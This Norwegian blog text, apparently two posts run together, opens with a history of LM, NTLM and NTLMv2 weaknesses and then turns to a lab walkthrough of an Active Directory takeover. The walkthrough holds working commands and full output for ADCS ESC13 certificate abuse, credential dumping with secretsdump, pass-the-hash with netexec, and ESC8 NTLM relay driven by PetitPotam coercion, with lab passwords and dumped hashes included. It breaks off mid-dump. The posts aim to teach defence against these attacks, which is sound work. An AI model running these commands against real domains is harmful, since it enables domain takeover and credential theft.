Dette blir det første innlegget om NTLM hardening – og handler om historikken og teorien bak hvorfor vi ønsker å se på hardening.
Bakgrunn
Lan Manager
På slutten av 1980-tallet begynte lokale nettverk (LAN) å bli vanlige i bedriftsmiljøer, og det oppsto behov for en felles mekanisme for innlogging og ressursdeling mellom maskiner.
LAN Manager (LM) ble utviklet for å tilby en felles standard for autentisering og tilgangsstyring i slike nettverk, spesielt mellom OS/2- og Windows/MS-DOS systemer.
Protokollen var tilpasset datidens maskinvare og nettverkshastigheter, og prioriterte enkel implementasjon fremfor sterk kryptografi – noe som i ettertid gjorde den svært sårbar:
Alle passord konverteres til store bokstaver
Alle passord var 14 tegn lange. Lengre passord ble kuttet, og kortere passord ble polstret med nuller.
Passordet ble delt i to blokker på 7 tegn hver, som kunne knekkes separat.
Ingen salting. Når et passord først ble knekt ett sted kunne man dele passord og tilsvarende LM-hash, og man visste at dersom man så den hashen i et annet miljø, hadde man også passordet.
Passordblokkene ble brukt til å generere nøkler for å DES-kryptere den samme verdien i alle miljøer: KGS!@#$%
Dette gjør at alle mulige LM-hashede passord uansett lengde i dag knekkes på under et sekund.
Likevel ser vi at LM-hashede passord fortsatt finnes i produksjonsmiljøer i 2025, og at LM-protokollen svært ofte er støttet som autentiseringsmetode.
New Technology Lan Manager
I 1993 lanserte Microsoft Windows NT 3.1, og med dette kom også erstatningen for den gamle LM-protokollen. Arvtageren ble kalt New Technology Lan Manager, eller NTLM. Den implementerte en rekke forbedringer over den gamle LM protokollen.
Man sluttet å konvertere passordet til store bokstaver, og man fikk etter hvert større støtte for tegnsett.
Passordene ble behandlet som en hel streng, ikke delt opp, og den fikk beholde sin lengde.
Man gikk bort fra den gamle 56-bit DES krypteringen i genereringen av passordhashing, og gikk over til å generere en MD4 hash av hele passordet, som resulterte i en såkalt “NT-Hash”.
Man etablerte en challenge-response modell som kan bidra til å hindre replay-angrep der man kunne fange opp autentiseringen og spille den av på nytt for å få tilgang. Denne challenge-response utvekslingen benyttet fortsatt DES til en viss grad.
Det ble innført støtte for en sesjonsnøkkel for å få signering og/eller kryptering av dataene i sesjonen.
Etter hvert ble svakhetene i NTLMv1 tydelige. Protokollen brukte fortsatt DES-baserte operasjoner, og challenge-response mekanismen var fortsatt sårbar for f.eks “pass-the-hash” angrep.
New Technology LAN Manager v2
I 1996 introduserte Microsoft derfor NTLMv2, som beholdt samme grunnleggende modell, men forbedret den kryptografiske styrken betydelig.
NTLMv2 beholdt støtte for eldre systemer, men dette førte også til at mange miljøer fortsatte å være sårbare dersom fallback var aktivert. Dette er fortsatt sant, og et ustrakt problem i 2025.
I stedet for å bare bruke serverens 8-bytes challenge, inkluderte NTLMv2 en klient-generert nonce, et tidsstempel og annen kontekstavhengig informasjon i beregningen. Dette gjorde replay-angrep mye vanskeligere, siden hver autentisering ble unik.
NTLMv2 bruker ikke lenger DES-protokollen i det hele tatt.
Sesjonsnøklene ble generert med protokollen HMAC-MD5, noe som gav økt beskyttelse for “signing” og “sealing” av trafikk i SMB og RPC.
Dog er NTLMv2 heller ikke uten sine svakheter.
Bakoverkompatibilitet med LM og NTLMv1 er ofte aktivert, og signing/sealing er som regel støttet, men ikke påkrevd. Resultatet er at mange domener i praksis kan forhandles ned til svakere moduser.
NTLMv2 bygger fortsatt på den opprinnelige NT-hashen (MD4), som fungerer som nøkkelmateriale i all videre beregning. Det betyr at dersom en angriper får tilgang til NT-hashen, kan de autentisere seg direkte uten å kjenne passordet – det klassiske “pass-the-hash”-angrepet.
Klienten beviser sin identitet overfor serveren, men serveren beviser ikke nødvendigvis sin identitet tilbake. Dette gjør man-in-the-middle-angrep (NTLM relay) mulig.
Selv om sesjonsnøkler finnes, er de ikke kryptografisk bundet til spesifikke forbindelser. Dette gjør at NTLM-relay fortsatt fungerer mellom tjenester som SMB, LDAP, HTTP og RPC, så lenge signering ikke er aktivert eller påkrevd.
En angriper som fanger opp en NTLMv2 challenge–response-utveksling kan fortsatt utføre offline cracking mot passordet. Protokollen bruker ingen salt utover utfordringen, og passordstyrken blir derfor avgjørende. Fordi salting ikke benyttes er identiske passord hashet identisk i alle miljøer.
Autentiseringsflyt
Autentiseringsprosessen i NTLM protokollen er som følger:
NTLM Autentiseringsprosessen fanget opp med Wireshark.
NTLMSSP_NEGOTIATE
NTLMSSP_NEGOTIATE skjer når en klient ønsker å autentisere seg mot en tjeneste på en tjener. I dette tilfellet over SMBv2.
En TCP pakke (SMBv2) sendes til tjenerens port 445 og spør om å etablere en sesjon. Den henvender seg til “Generic Security Service” APIet og ønsker å forhandle detaljer om autentiseringen.Vi ser forhandlingsdetaljene spør om å bruke Extended Session Security, signering, etc.
NTLMSSP_CHALLENGE
Tjeneren utfører sin side av forhandlingen, og sender en utfordring tilbake til klienten, for å bevise sin identitet.
Vi ser server sender et svar tilbake til klienten.
Vi ser dette er en NTLMSSP_CHALLENGE, og vi ser enighet om NTLM versjon, samt en server challenge som klienten må svare på.
I detaljene ser vi klart og tydelig at dette er en “NTLMSSP_Challenge” melding som en del av en “Simple Protected Negotiation”. Vi ser endringer i flaggene Negotiate version, Target Type Domain, og vi ser at det følger med en NTLM Server Challenge som i dette tilfellet er 48415c4e32bae70d.
NTLMSSP_AUTH
Til slutt svarer klienten på challenge, vi ser signering er på, men ikke påkrevd. Dette betyr at vi kunne nedgradert sikkerheten noe. Vi ser også at SMB kryptering ikke er påslått, så trafikken over denne kanalen sendes i klartekst og eventuelle filoverføringer el.l. vil potensielt kunne fanges opp, og filer dumpes rett ut av en trafikklogg.Vi ser dette er en NTLMSSP_AUTH melding, og den inneholder en NTLMv2 response, med tidsstempel, client challenge, etc. Denne informasjonen sammen med kontoens passordhash og server challenge hashes og sendes som svar tilbake til server for å etablere en autentisert sesjon.
Game of Active Directory del 3.4 – Persistence Privilege escalation & Lateral Movement – finale.
Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.
I forrige innlegg avrundet vi ved å vise hvordan gjenbruk av passord gav oss en mulighet til å trenge inn via mssql tjenesten på braavos.essos.local og dermed en fot på innsiden av essos.local skogen. I dette innlegget skal vi ta for oss eskalering av privilegier og lateral bevegelse over til meereen.essos.local, hvor vi skal legge oss selv til som Enterprise Admin bare for å vise at det er mulig. Hovedfokuset i dette innlegget vil være sårbare konfigurasjoner i Active Directory Certificate Services.
Angrepsbaner
Mange har dårlig kontroll på Active Directory Certificate Services, og det er ikke så rart , det er et komplekst tema de færreste lærer noe særlig om med mindre de spesialiserer seg på det.
I denne artikkelen ønsker jeg å demonstrere noen forskjellige svake konfigurasjoner. Vi skal ikke gå gjennom alle, men noen få, fordi det er viktig å understreke at det finnes flere problematiske konfigurasjoner med potensielt alvorlige konsekvenser.
Angrepsbane #1 – ESC13
Jeg ba Bloodhound finne en vei fra [email protected] brukeren til meereen.essos.local objektet, og fikk følgende graf:
Utnyttelse av ADCS ESC13 sårbarheten gir i dette tilfellet medlemskap i GREATMASTER gruppen som er admin på MEEREEN DCen i essos.local
Denne sertifikatmalen er konfigurert for labben med sårbarheten kalt “ESC13”. Den er konfigurert for klient-autentisering, og den gir medlemskap i en gruppe. I denne labben er gruppen den er koblet til “GREATMASTER”, som har administrative privilegier på domenekontrolleren MEEREEN.
Fordi SQL_SVC brukeren vi allerede har brukernavn og passord til er medlem av Domain Users i essos.local, og Domain Users har rett til å etterspørre sertifikatet ESC13, så kan SQL_SVC i teorien legge seg selv til som lokaladministrator på domenekontrolleren.
Rekognosering
Vi gjør først litt rekognosering fra angrepsmaskinen vår, med et verktøy som heter Certipy. Vi benytter “Find” funksjonaliteten i Certipy for å autentisere oss mot sertifikattjenestene i Essos med sql_svc brukeren, og ser etter sårbare sertifikatmaler, som f.eks den ESC13 malen vi har funnet via Bloodhound. Dette gjør vi fordi vi ønsker litt mer informasjon om hvordan ESC13 malen er satt opp, men også for å finne andre interessante maler vi kan undersøke, og det er nyttig å vise at Bloodhound ikke er eneste verktøyet vi kan bruke for å enumerere sertifikatbaserte sårbarheter i et AD miljø.
certipyfind-u'[email protected]'-p'YouWillNotKerboroast1ngMeeeeee'-dc-ip'10.3.2.12'-text-enabledCertipyv5.0.3-byOliverLyak (ly4k)[*] Finding certificate templates[*] Found 40 certificate templates[*] Finding certificate authorities[*] Found 1 certificate authority[*] Found 18 enabled certificate templates[*] Finding issuance policies[*] Found 27 issuance policies[*] Found 7 OIDs linked to templates[*] Retrieving CA configuration for'ESSOS-CA' via RRP[!] Failed to connect to remote registry. Service should be starting now. Trying again...[*] Successfully retrieved CA configuration for'ESSOS-CA'[*] Checking web enrollment for CA 'ESSOS-CA' @ 'braavos.essos.local'[!] Error checking web enrollment: [Errno 111] Connection refused[!] Use -debug to print a stacktrace[*] Saving text output to '20251007075641_Certipy.txt'[*] Wrote text output to '20251007075641_Certipy.txt'
Certipy gir oss bl.a. svært interessant informasjon om selve sertifikattjeneren.
Vi ser HTTP Web Enrollment er slått på, som gjør selve sertifikattjeneren sårbar for NTLM relay angrep, ettersom HTTP er en klartekstprotokoll uten signering. Denne sårbarheten er også poengtert som en sårbarhet kalt ESC8, som Certipy også trekker oppmerksomheten vår mot.
Vi får også detaljer om hver enkelt sertifikatmal, som f.eks ESC13 malen her:
ESC13 malen tillater autentisering, og er linket til greatmaster gruppen i essos.local. Videre ser vi at “ESSOS.LOCAL\Domain Users” har enrollment rettigheter – altså at de kan etterspørre sertifikatet. Certipy har allerede sørget for at kun de aktive malene på sertifikattjenesten blir vist, så vi slipper å gå gjennom de som ikke kan brukes fordi de er avslått.
Vi etterspør ESC13 sertifikatet på vegne av sql_svc og identifiserer oss med riktig brukernavn og passord, mot riktig Certificate Authority i essos.local – som vi fant ut via Certipy find.
$certipyreq-u[email protected]-pYouWillNotKerboroast1ngMeeeeee-caESSOS-CA-targetbraavos.essos.local-templateESC13Certipyv5.0.3-byOliverLyak (ly4k)[*] Requesting certificate via RPC[*] Request ID is 15[*] Successfully requested certificate[*] Got certificate with UPN '[email protected]'[*] Certificate has no object SID[*] Try using -sid to set the object SID or see the wiki for more details[*] Saving certificate and private key to 'sql_svc.pfx'[*] Wrote certificate and private key to 'sql_svc.pfx'
Så bruker vi igjen Certipy for å autentisere med vårt flunkende nye sertifikat mot Meereen for å etterspørre en TGT.
$certipyauth-pfxsql_svc.pfx-dc-ip10.3.2.12Certipyv5.0.3-byOliverLyak (ly4k)[*] Certificate identities:[*] SAN UPN: '[email protected]'[*] Using principal: '[email protected]'[*] Trying to get TGT...[*] Got TGT[*] Saving credential cache to 'sql_svc.ccache'File'sql_svc.ccache'alreadyexists.Overwrite? (y/n -sayingnowillsavewithauniquefilename): y [*] Wrote credential cache to 'sql_svc.ccache'[*] Trying to retrieve NT hash for'sql_svc'[*] Got hash for'[email protected]': aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804
Og så bruker vi f.eks impacket-secretsdump til å dumpe ut rubbel og bit med kredentialer fra meereen domenekontrolleren, med vår nye kerberos-billett.
$impacket-secretsdump-k-no-passmeereen.essos.localImpacketv0.13.0.dev0-CopyrightFortra,LLCanditsaffiliatedcompanies[*] Service RemoteRegistry is in stopped state[*] Starting service RemoteRegistry[*] Target system bootKey: 0x737a2a868489f8fc657ab97c16b317c6[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets[*]$MACHINE.ACC ESSOS\MEEREEN$:plain_password_hex:3cbe291fa44f4f677efab6f63aea18d67ed764bf6c21dd31a6a46dc2f3678e2a349171a06870f2d8f6cf6da118c3b7df70f6c98d8cfd53f6d1e0749804c7eb29e8b94ca24583c285aa6eda00b8887be30b9f1f3013239f6b2d4cdc1936fba7bdee3a783354b366022f18a3d6088695b25471c85381d848ab3eca05392cf5c6ee8fff461f03008b098f6b3784624f1cd8c5244c8dd2a4d1649ae38f5c8a3043c288ec5c2fa2c3df386010f363810cc73f9560e888667b71618d7e1bcc7cd284a54b6d74439f5562be482a9b0fc824e97a05287193363840c9498323df971f017132c4785350c4a65e2db7636364095ccfESSOS\MEEREEN$:aad3b435b51404eeaad3b435b51404ee:8cc3c31495780c7e2e13055cb61d890d:::[*] DPAPI_SYSTEM dpapi_machinekey:0x0552276b93169601952221fddd9481e810ee5d50dpapi_userkey:0xe4ab110d019233fc243d6bdb86fd66d06350caaf[*] NL$KM0000D36BD5FF27149056ED90A64CD518FE84.k..'..V...L.... 0010 EC 69 09 33 E5 BE 27 F6 6E D7 DB E8 C7 31 5A 8B .i.3..'.n....1Z.002053C9D6EFB40EB2A9BF9EC7E129EDA8E5S...........)...003010E47DAFBFA586E388E5202C5A5E5841..}.......,Z^XANL$KM:d36bd5ff27149056ed90a64cd518fe84ec690933e5be27f66ed7dbe8c7315a8b53c9d6efb40eb2a9bf9ec7e129eda8e510e47dafbfa586e388e5202c5a5e5841[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3629557c8649a89c73b9785a8191a1d4:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::daenerys.targaryen:1113:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::viserys.targaryen:1114:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::khal.drogo:1115:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::jorah.mormont:1116:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::missandei:1117:aad3b435b51404eeaad3b435b51404ee:1b4fd18edf477048c7a7c32fda251cec:::drogon:1118:aad3b435b51404eeaad3b435b51404ee:195e021e4c0ae619f612fb16c5706bb6:::sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:8cc3c31495780c7e2e13055cb61d890d:::BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:ffcdc8585135b0ad6991f47eb3a69767:::gmsaDragon$:1120:aad3b435b51404eeaad3b435b51404ee:7fc360a05308304d8a75c8dbe3a5201c:::SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:5ed65337be5baf80e87377b374dc6913:::[*] Kerberos keys grabbedkrbtgt:aes256-cts-hmac-sha1-96:284e2c4031851adcc0ca7dc0a821e0acfaa81e030e70571a38ffea50113ab8a5krbtgt:aes128-cts-hmac-sha1-96:bdde69205c84534f0c7e9d85d512fe05krbtgt:des-cbc-md5:0702c15d67c16445daenerys.targaryen:aes256-cts-hmac-sha1-96:cf091fbd07f729567ac448ba96c08b12fa67c1372f439ae093f67c6e2cf82378daenerys.targaryen:aes128-cts-hmac-sha1-96:eeb91a725e7c7d83bfc7970532f2b69cdaenerys.targaryen:des-cbc-md5:bc6ddf7ce60d29cdviserys.targaryen:aes256-cts-hmac-sha1-96:b4124b8311d9d84ee45455bccbc48a108d366d5887b35428075b644e6724c96eviserys.targaryen:aes128-cts-hmac-sha1-96:4b34e2537da4f1ac2d16135a5cb9bd3eviserys.targaryen:des-cbc-md5:70528fa13bc1f2a1khal.drogo:aes256-cts-hmac-sha1-96:2ef916a78335b11da896216ad6a4f3b1fd6276938d14070444900a75e5bf7eb4khal.drogo:aes128-cts-hmac-sha1-96:7d76da251df8d5cec9bf3732e1f6c1ackhal.drogo:des-cbc-md5:b5ec4c1032ef020djorah.mormont:aes256-cts-hmac-sha1-96:286398f9a9317f08acd3323e5cef90f9e84628c43597850e22d69c8402a26ecejorah.mormont:aes128-cts-hmac-sha1-96:896e68f8c9ca6c608d3feb051f0de671jorah.mormont:des-cbc-md5:b926916289464ffbmissandei:aes256-cts-hmac-sha1-96:41d08ceba69dde0e8f7de8936b3e1e48ee94f9635c855f398cd76262478ffe1cmissandei:aes128-cts-hmac-sha1-96:0a9a4343b11f3cce3b66a7f6c3d6377amissandei:des-cbc-md5:54ec15a8c8e6f44fdrogon:aes256-cts-hmac-sha1-96:2f92317ed2d02a28a05e589095a92a8ec550b5655d45382fc877f9359e1b7fa1drogon:aes128-cts-hmac-sha1-96:3968ac4efd4792d0acef565ac4158814drogon:des-cbc-md5:bf1c85a7c8fdf237sql_svc:aes256-cts-hmac-sha1-96:ca26951b04c2d410864366d048d7b9cbb252a810007368a1afcf54adaa1c0516sql_svc:aes128-cts-hmac-sha1-96:dc0da2bdf6dc56423074a4fd8a8fa5f8sql_svc:des-cbc-md5:91d6b0df31b52a3dMEEREEN$:aes256-cts-hmac-sha1-96:627947a08303ffc008bb8984ac96f0c760fc3d2e5eb862b11edbd3533a10c768MEEREEN$:aes128-cts-hmac-sha1-96:5c196a34f9258e725b2cbc62c72ff5c0MEEREEN$:des-cbc-md5:2fe97f46b9253864BRAAVOS$:aes256-cts-hmac-sha1-96:8d4c7ad755d68b03af90cf6a3961a6b594f8c9ea20b6d3ee0a97895d028d7f8eBRAAVOS$:aes128-cts-hmac-sha1-96:82cbe868cf91352bd7cd6f6f50feb6f1BRAAVOS$:des-cbc-md5:86dfd964d35e0ed9gmsaDragon$:aes256-cts-hmac-sha1-96:ac426a3d054ae8e74d015db42a6b22cb05b1940072665f973601a38f44f11571gmsaDragon$:aes128-cts-hmac-sha1-96:7c121eb9123f679c1904fde4a979dc8bgmsaDragon$:des-cbc-md5:706bf845f4f2df1fSEVENKINGDOMS$:aes256-cts-hmac-sha1-96:f9a4c9931fdcfb0562e22ea9274ba2be42a4bc311bcde8b91864cb44e7ee3fd6SEVENKINGDOMS$:aes128-cts-hmac-sha1-96:b9a00bf0a4e7757c89878238b03a020dSEVENKINGDOMS$:des-cbc-md5:94a4b63edfb04938[*] Cleaning up... [*] Stopping service RemoteRegistry
Og dersom vi for eksempel plukker ut daenerys.targaryen fra listen og mater hennes brukernavn og passordhash inn i netexec og prøver å enumerere SMB fileshares, så har vi full admintilgang på braavos og meereen.
$netexecsmb10.3.2.10-30-udaenerys.targaryen-H34534854d33b398b66684072224bb47a--sharesSMB10.3.2.11445WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL)(domain:north.sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.23445BRAAVOS [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS)(domain:essos.local)(signing:False)(SMBv1:True)SMB10.3.2.12445MEEREEN [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN)(domain:essos.local)(signing:True)(SMBv1:True)SMB10.3.2.11445WINTERFELL [-] north.sevenkingdoms.local\daenerys.targaryen:34534854d33b398b66684072224bb47a STATUS_LOGON_FAILURE SMB10.3.2.22445CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK)(domain:north.sevenkingdoms.local)(signing:False)(SMBv1:False)SMB10.3.2.10445KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)(domain:sevenkingdoms.local)(signing:True)(SMBv1:False)SMB10.3.2.23445BRAAVOS [+] essos.local\daenerys.targaryen:34534854d33b398b66684072224bb47a (Pwn3d!)SMB10.3.2.12445MEEREEN [+] essos.local\daenerys.targaryen:34534854d33b398b66684072224bb47a (Pwn3d!)SMB10.3.2.22445CASTELBLACK [+] north.sevenkingdoms.local\daenerys.targaryen:34534854d33b398b66684072224bb47a (Guest)SMB10.3.2.10445KINGSLANDING [-] sevenkingdoms.local\daenerys.targaryen:34534854d33b398b66684072224bb47a STATUS_LOGON_FAILURE SMB10.3.2.22445CASTELBLACK [*] Enumerated sharesSMB10.3.2.22445CASTELBLACKSharePermissionsRemarkSMB10.3.2.22445CASTELBLACK----------------------SMB10.3.2.22445CASTELBLACKADMIN$ RemoteAdminSMB10.3.2.22445CASTELBLACKallREAD,WRITEBasicRWshareforallSMB10.3.2.22445CASTELBLACKC$ DefaultshareSMB10.3.2.22445CASTELBLACKIPC$ READRemoteIPCSMB10.3.2.22445CASTELBLACKpublicBasicReadshareforalldomainusersSMB10.3.2.23445BRAAVOS [*] Enumerated sharesSMB10.3.2.23445BRAAVOSSharePermissionsRemarkSMB10.3.2.23445BRAAVOS----------------------SMB10.3.2.23445BRAAVOSADMIN$ READ,WRITERemoteAdminSMB10.3.2.23445BRAAVOSallREAD,WRITEBasicRWshareforallSMB10.3.2.23445BRAAVOSC$ READ,WRITEDefaultshareSMB10.3.2.23445BRAAVOSCertEnrollREAD,WRITEActiveDirectoryCertificateServicesshareSMB10.3.2.23445BRAAVOSIPC$ READRemoteIPCSMB10.3.2.23445BRAAVOSpublicREAD,WRITEBasicReadshareforalldomainusersSMB10.3.2.12445MEEREEN [*] Enumerated sharesSMB10.3.2.12445MEEREENSharePermissionsRemarkSMB10.3.2.12445MEEREEN----------------------SMB10.3.2.12445MEEREENADMIN$ READ,WRITERemoteAdminSMB10.3.2.12445MEEREENC$ READ,WRITEDefaultshareSMB10.3.2.12445MEEREENIPC$ READRemoteIPCSMB10.3.2.12445MEEREENNETLOGONREAD,WRITELogonservershareSMB10.3.2.12445MEEREENSYSVOLREAD,WRITELogonservershareRunningnxcagainst21targets━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━100%0:00:00
Angrepsbane 2 – ESC8
En annen sårbarhet utnytter den sårbarheten vi nevnte tidligere, der CA-serveren kjører web-enrollment på HTTP, og dermed kan være sårbar for NTLM relay.
Fordi den er sårbar for relay kan vi forsøke å lure domenekontrolleren til å autentisere seg mot oss, og så kan vi videresende den autentiseringsforespørselen til sertifikatserveren, og etterspørre et sertifikat domenekontrolleren har lov til å få.
Fra certipy find kommandoen vi kjørte tidligere kan vi se følgende sertifikatmal, som kan brukes til autentisering. Som vi ser heter den “DomainControllerAuthentication” og kan brukes til både server- og klient-autentisering, og kan bare utstedes til domain admins, domain controllers, enterprise admins og enterprise domain controllers i Essos.local.
Dette sertifikatet vil la oss identifisere oss som om vi var domenekontrolleren i Essos, så det har vi lyst på.
Vi begynner med å sette opp NTLMRelayX til å peke mot ADCS web enrollment URLen på Braavos, klar til å etterspørre et “DomainControllerAuthentication” sertifikat.
$impacket-ntlmrelayx-thttp://braavos.essos.local/certsrv/-smb2support--adcs--templateDomainControllerAuthenticationImpacketv0.13.0.dev0-CopyrightFortra,LLCanditsaffiliatedcompanies[*] Protocol Client IMAPS loaded..[*] Protocol Client IMAP loaded..[*] Protocol Client LDAPS loaded..[*] Protocol Client LDAP loaded..[*] Protocol Client SMTP loaded..[*] Protocol Client HTTPS loaded..[*] Protocol Client HTTP loaded..[*] Protocol Client MSSQL loaded..[*] Protocol Client SMB loaded..[*] Protocol Client DCSYNC loaded..[*] Protocol Client RPC loaded..[*] Running in relay mode to single host[*] Setting up SMB Server on port 445[*] Setting up HTTP Server on port 80[*] Setting up WCF Server on port 9389[*] Setting up RAW Server on port 6666[*] Multirelay disabled[*] Servers started, waiting for connections
Deretter kjører vi et såkalt “coercion” angrep kalt petitpotam som domenekontrolleren i dette tilfellet er sårbar for. Dette vil fremprovosere en autentiseringsforespørsel fra domenekontrolleren mot vår maskin. Vi trenger gyldige kredentialer for dette, men som vi kan se har vi allerede dette i form av sql_svc kontoen i dette eksempelet.
$python3~/tools/PetitPotam/PetitPotam.py-usql_svc-pYouWillNotKerboroast1ngMeeeeee-dessos.local10.3.2.14410.3.2.12__________|_\ ___||_ (_) ||_|_\ ___||_______|_//-_) |_||||_||_//_\ |_|/_`||' \ _|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_| _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' PoC to elicit machine account authentication via some MS-EFSRPC functions by topotam (@topotam77) Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRNTrying pipe lsarpc[-] Connecting to ncacn_np:braavos.essos.local[\PIPE\lsarpc][+] Connected![+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e[+] Successfully bound![-] Sending EfsRpcOpenFileRaw![+] Got expected ERROR_BAD_NETPATH exception!![+] Attack worked!
Det som skjer er at Meereen forsøker å autentisere seg mot oss, og vi videresender hashen til sertifikatserverens endepunkt for utstedelse av sertifikater, og presenterer påloggingsdetaljene til Meereen serveren, med en forespørsel om å få et signert sertifikat.
Øyeblikkelig ser vi følgende meldinger dukke opp i NTLMRelayX, og vi vet at vi har lykkes med å få tak i et gyldig sertifikat.
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.3.2.12, attacking target http://braavos.essos.local[*] HTTP server returned error code 200, treating as a successful login[*] Authenticating against http://braavos.essos.local as ESSOS/MEEREEN$ SUCCEED[*] SMBD-Thread-7 (process_request_thread): Received connection from 10.3.2.12, attacking target http://braavos.essos.local[*] HTTP server returned error code 200, treating as a successful login[*] Authenticating against http://braavos.essos.local as ESSOS/MEEREEN$ SUCCEED[*] Generating CSR...[*] CSR generated![*] Getting certificate...[*] GOT CERTIFICATE!ID22[*] Writing PKCS#12 certificate to ./MEEREEN$.pfx[*] Certificate successfully written to file
Vi utveksler sertifikatet mot en TGT, akkurat som vi gjorde i ESC13 angrepet.
$certipyauth-pfxMEEREEN\$.pfx-dc-ip10.3.2.12Certipyv5.0.3-byOliverLyak (ly4k)[*] Certificate identities:[*] SAN DNS Host Name: 'meereen.essos.local'[*] Using principal: '[email protected]'[*] Trying to get TGT...[*] Got TGT[*] Saving credential cache to 'meereen.ccache'[*] Wrote credential cache to 'meereen.ccache'[*] Trying to retrieve NT hash for'meereen$'[*] Got hash for'[email protected]': aad3b435b51404eeaad3b435b51404ee:8cc3c31495780c7e2e13055cb61d890d
Vi tar i bruk sertifikatet og sjekker at vi får tilgang.
$exportKRB5CCNAME=$(PWD)/meereen.ccache$impacket-secretsdump-k-no-passmeereen.essos.localImpacketv0.13.0.dev0-CopyrightFortra,LLCanditsaffiliatedcompanies[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3629557c8649a89c73b9785a8191a1d4:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::daenerys.targaryen:1113:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::viserys.targaryen:1114:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::khal.drogo:1115:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::jorah.mormont:1116:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::missandei:1117:aad3b435b51404eeaad3b435b51404ee:1b4fd18edf477048c7a7c32fda251cec:::drogon:1118:aad3b435b51404eeaad3b435b51404ee:195e021e4c0ae619f612fb16c5706bb6:::sql_svc:1119:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:8cc3c31495780c7e2e13055cb61d890d:::BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:ffcdc8585135b0ad6991f47eb3a69767:::gmsaDragon$:1120:aad3b435b51404eeaad3b435b51404ee:7fc360a05308304d8a75c8dbe3a5201c:::SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:5ed65337be5baf80e87377b374dc6913:::[*] Kerberos keys 